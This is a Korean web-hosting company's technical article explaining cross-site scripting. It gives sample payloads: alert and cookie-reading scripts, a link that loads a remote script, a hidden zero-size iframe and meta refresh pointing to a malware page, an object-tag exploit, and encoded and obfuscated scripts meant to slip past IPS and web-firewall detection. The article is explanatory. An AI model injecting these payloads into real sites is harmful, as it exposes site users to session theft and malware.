XSS (Cross Site Scripting) 크로스 사이트 스크립팅 > 기술자료

본문 바로가기
사이트 내 전체검색

기술자료

Secure XSS (Cross Site Scripting) 크로스 사이트 스크립팅

페이지 정보

댓글 0건 조회 2,253회 작성일 17-06-01 03:31

본문

XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 
예를들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.



1. XSS Test하기
일반적인 게시판에 <script>alert("XSS")</script> 라고 입력하여 XSS라는 메시지 창이 뜨면 XSS 취약점이 있는 것이다.

사용자의 쿠키값을 가지고 오게 한다
<script>alert(document.cookie);</script> 

클릭 시 악성코드가 있는 사이트로 이동
<a href="http://naver.com/test.cgi?loc=<script src='http://daum.net/test'></script>">Click here</a>



2. iframe과 메타테그 삽입으로 인한 해킹

<meta http-equiv='refresh' content='600; ur=test.php'>
<iframe src=" http://test.com/~bbs/hack.htm" width="0" height="0" frameborder="0"></iframe>
사이즈 0, 0 iframe을 만들어서 iframe에 악성코드가 들어 있는 사이트로 접속하게 만든다.



3. object 태그

<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>
c:\nosuchfile.mht 파일이 없으면 악성코드가 심어져 있는 http://test.com/attack_chm::exploit.html 파일을 읽게 만든다.



4. div 기법

div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
    <img src="images/test.jpg">
</div>



5. 인코딩 기법

공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>



6. Obfuscated 기법

인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javas-ript">
    e = '0x00' + '5F';
    str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2"; 
    str = tmp = '';
    for(i=0; i<str1.length; i+=3)
    { 
        tmp = unescape(str1.slice(i,i+=3));
        str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
    }
    document.write(str); 
</script>



7. 기타우회 방법 

</script><script>alert('XSS');</script>
;</script><script>alert('XSS');</script>
</script><script>alert('XSS');</script>



자료출처
http://blog.naver.com/sdream4/10084831337 
http://blog.naver.com/sdream4/10046998900 

댓글목록

등록된 댓글이 없습니다.


Total 2,213건 1 페이지
기술자료 목록
번호 제목
공지 일반
온라인 강좌를 소개합니다. ( update. 2017-12-05 16:33 ) Hit.15888
2212 호스팅
[Daum] 스마트워크 발송자 이름 변경하기 ( update. 2018-05-17 10:41 ) Hit.26
2211 JavaScript
2210 도메인
국제도메인 삭제복구서비스 ( update. 2018-05-10 14:05 ) Hit.67
2209 MSSQL
getdate() 와 sysdatetime() ( write. 2018-05-09 ) Hit.56
2208 그누보드
[G5] 글 가장 위로 순서 변경하기 ( update. 2018-05-08 12:40 ) Hit.76
2207 호스팅
네임서버 정보 ( update. 2018-05-09 13:45 ) Hit.100
2206 영카트
2205 영카트
2204 Search
2203 그누보드
2202 그누보드
2201 영카트
2200 영카트
2199 영카트
영카트 5.3 에서 삭제된 영카트 4.x 필드 ( update. 2018-04-02 14:02 ) Hit.339
2198 그누보드
2197 영카트
2196 HTML
웹브라우저 언어설정 코드 ( write. 2018-03-28 ) Hit.368
2195 ClassicASP
2194 그누보드
2193 HTML
2192 전자결제
[LG유플러스] [ASP] utf-8 사용하기 ( update. 2018-03-16 06:06 ) Hit.492
2191 ClassicASP
한글 깨짐 변환 ( update. 2018-03-16 04:56 ) Hit.470
2190 JavaScript
새로고침(F5) 금지 ( write. 2018-03-15 ) Hit.492
2189 그누보드
[G4] 스팸게시글 한방에 삭제하기 ( update. 2018-03-23 15:54 ) Hit.513
게시물 검색

회원로그인

접속자집계

오늘
1,140
어제
1,409
최대
3,174
전체
3,989,363

회사명: 해피정닷컴   전화: 070-7600-3500   팩스: 02-865-3528
주소: 08394 서울시 구로구 디지털로 242 한화비즈메트로1차 1502호
사업자번호: 119-05-36414   대표: 정창용   개인정보보호책임자: 정창용
Copyright 2001-2018 해피정닷컴. All Rights Reserved.